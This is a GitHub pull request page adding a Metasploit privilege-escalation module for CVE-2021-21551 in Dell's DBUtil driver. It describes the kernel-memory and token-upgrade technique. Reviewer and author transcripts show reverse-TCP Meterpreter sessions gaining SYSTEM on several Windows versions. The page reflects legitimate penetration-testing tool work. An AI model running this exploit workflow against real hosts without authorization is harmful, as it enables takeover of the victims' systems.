Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Add Exploit For CVE-2021-21551 (Dell DBUtil_2_3 IOCTL) #15190

Merged
merged 10 commits into from May 14, 2021
Merged

Add Exploit For CVE-2021-21551 (Dell DBUtil_2_3 IOCTL) #15190

merged 10 commits into from May 14, 2021

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented May 12, 2021 •
edited by bwatters-r7

This adds an exploit for CVE-2021-21551 which is an IOCTL that is provided by the DBUtil_2_3.sys driver distributed by Dell that can be abused to perform kernel-mode memory read and write operations. This uses the same token upgrade technique as the exploit I wrote for CVE-2021-1732 so I moved some of the code into a new include directory so the boilerplate can be reduced in the future (defining NTDLL functions all the time is tedious).

As I understand it if the driver is present and loaded the system is vulnerable. The module will attempt to open a handle to it to verify that it's vulnerable. The exploit however needs to be run from within at least a Medium integrity process in order to use NtQuerySystemInformation to leak the address of nt!_EPROCESS. The user does not need to have any permissions however, this just can't be used as a sandbox escape for that reason. Additionally, due to the token upgrade technique, offsets need to be known for the specific version of Windows that is being targeted. Currently, the same values are being used from CVE-2021-1732 which I tested on every version of Windows between 1803 and 20H2 inclusive. In a future revision (or depending on the time to land this one) I plan on adding the necessary offsets for additional versions of Windows. Update: I've added the offsets for alot more targets, they're all listed in the module docs. I pulled all of the offsets from the Vergilius project and validated most of them through exploitation. Server 2016 and Server 2019 share their build numbers and _EPROCESS structure definition with their Windows 10 counterparts.

In my experience with this vulnerability, it's pretty reliable however it is kernel mode so it's possible it could induce a crash. Notably if a read or write address is invalid, the system will immediately BSOD.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Get a Meterpreter session on a vulnerable host
  • Do: use exploit/windows/local/cve_2021_21551_dbutil_memmove
  • Set the SESSION and PAYLOAD options
  • Do: run
  • You should get a shell.

Demo

msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Sending stage (200262 bytes) to 192.168.159.79
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.79:57013) at 2021-05-12 16:10:10 -0400
meterpreter > sysinfo
Computer        : DESKTOP-RTCRBEV
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 5
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-RTCRBEV\Alice Liddle
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > run exploit/windows/local/cve_2021_21551_dbutil_memmove
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad to host the DLL...
[+] Process 5212 launched.
[*] Reflectively injecting the DLL into 5212...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to 192.168.159.79
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.79:57015) at 2021-05-12 16:12:43 -0400
[*] Session 3 created in the background.
meterpreter > sessions 3
[*] Backgrounding session 2...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

@smcintyre-r7 smcintyre-r7 added docs module rn-modules release notes for new or majorly enhanced modules labels May 12, 2021
@bwatters-r7 bwatters-r7 self-assigned this May 13, 2021
@bwatters-r7
Copy link
Contributor

Windows 10x64_2004

msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > show options

Module options (exploit/windows/local/cve_2021_21551_dbutil_memmove):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.197  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64


msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > set verbose true
verbose => true
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > set session 1
session => 1
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Windows Build Number = 19041
[*] Launching notepad to host the DLL...
[+] Process 7040 launched.
[*] Reflectively injecting the DLL into 7040...
[*] Sending stage (200262 bytes) to 192.168.132.167
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (192.168.135.197:4444 -> 192.168.132.167:56992) at 2021-05-14 11:44:30 -0500

meterpreter > sysinfo
Computer        : DESKTOP-KAI0M8D
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Windows 2016

[*] Meterpreter session 3 opened (192.168.135.197:4567 -> 192.168.134.131:49760) at 2021-05-14 12:02:39 -0500

msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : APT_WIN2016X64
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: APT_WIN2016X64\msfuser
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > set session 3
session => 3
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Windows Build Number = 14393
[*] Launching notepad to host the DLL...
[+] Process 2548 launched.
[*] Reflectively injecting the DLL into 2548...
[*] Sending stage (200262 bytes) to 192.168.134.131
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 4 opened (192.168.135.197:4444 -> 192.168.134.131:49763) at 2021-05-14 12:03:04 -0500

meterpreter > sysinfo
Computer        : APT_WIN2016X64
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Windows 7

[*] 192.168.134.131 - Meterpreter session 4 closed.  Reason: User exit
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > sessions -i -1
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer        : WIN7X64-SP1
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN7X64-SP1\msfuser
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background
[*] Backgrounding session 5...
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > set session 5
session => 5
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Windows Build Number = 7601
[*] Launching notepad to host the DLL...
[+] Process 1332 launched.
[*] Reflectively injecting the DLL into 1332...
[*] Sending stage (200262 bytes) to 192.168.134.134
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 6 opened (192.168.135.197:4444 -> 192.168.134.134:49183) at 2021-05-14 12:13:56 -0500

meterpreter > sysinfo
Computer        : WIN7X64-SP1
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

@bwatters-r7
Copy link
Contributor

Also, since I saw there were changes to 2021_1732, I verified that still works:

msf6 exploit(windows/local/cve_2021_1732_win32k) > sessions -i 11
[*] Starting interaction with 11...

meterpreter > sysinfo
Computer        : DESKTOP-EHIBEQF
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 11...
msf6 exploit(windows/local/cve_2021_1732_win32k) > set session 11
session => 11
msf6 exploit(windows/local/cve_2021_1732_win32k) > check

[*] Windows Build Number = 18363
[*] The target appears to be vulnerable.
msf6 exploit(windows/local/cve_2021_1732_win32k) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Windows Build Number = 18363
[+] The target appears to be vulnerable.
[*] Launching notepad to host the DLL...
[+] Process 6308 launched.
[*] Reflectively injecting the DLL into 6308...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/cve_2021_1732_win32k) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Windows Build Number = 18363
[+] The target appears to be vulnerable.
[*] Launching notepad to host the DLL...
[+] Process 1140 launched.
[*] Reflectively injecting the DLL into 1140...
[*] Sending stage (200262 bytes) to 192.168.132.168
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 12 opened (192.168.135.197:4444 -> 192.168.132.168:49684) at 2021-05-14 13:43:53 -0500

meterpreter > sysinfo
Computer        : DESKTOP-EHIBEQF
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

@bwatters-r7 bwatters-r7 merged commit 8792feb into rapid7:master May 14, 2021
@bwatters-r7
Copy link
Contributor

bwatters-r7 commented May 14, 2021 •
edited by pbarry-r7

Release Notes

New module exploits/windows/local/cve_2021_21551_dbutil_memmove adds an exploit for CVE-2021-21551, which is an IOCTL that is provided by the DBUtil_2_3.sys driver distributed by Dell that can be abused to perform kernel-mode memory read and write operations.

@zeroSteiner zeroSteiner deleted the feat/cve-2021-21551 branch May 25, 2021 19:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@wvu wvu wvu left review comments

Assignees

@bwatters-r7 bwatters-r7

Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.

None yet
4 participants
@zeroSteiner @bwatters-r7 @wvu @smcintyre-r7